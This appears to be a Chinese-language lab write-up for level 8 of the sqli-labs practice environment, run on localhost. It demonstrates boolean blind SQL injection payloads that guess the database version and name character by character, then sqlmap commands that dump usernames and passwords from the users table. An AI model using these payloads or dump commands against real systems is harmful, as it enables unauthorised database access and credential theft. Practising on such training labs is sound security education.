进入第八关:http://localhost/sqli/Less-8/?id=1
输入:http://localhost/sqli/Less-8/?id=1'
没有显示信息
继续探测:http://localhost/sqli/Less-8/?id=1' --+
又显示了回来
使用substr()函数探测数据库版本
输入:http://localhost/sqli/Less-8/?id=1' and substr(version(),1,1) = 5 --+
说明版本在5以上
使用length()函数探测数据库长度
输入:http://localhost/sqli/Less-8/?id=1' and length(database()) >8 --+
输入:http://localhost/sqli/Less-8/?id=1' and length(database()) =8 --+
说明数据库长度是8,可以进行猜测单词,会不会是security
使用 substr()、ascii()验证猜想
得知s字母的在ASCII码表中的数字是115
输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+
猜想正确!
e字母的在ASCII码表中的数字是101
输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 --+
正确!
利用information_schema数据库进行爆出相关数据
然后进行上述猜测,验证
可以用sqlmap进行。
或者输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -batch
马赛克地方是你要扫描的地址
结果是出现:布尔盲注和时间盲注两个
输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 --dbs
就扫描出了数据库
输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -D security --tables
就扫描出了表名
输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -D security -T users --columns
就扫描出了字段
输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -D security -T users -C id,username,password --dump
完成!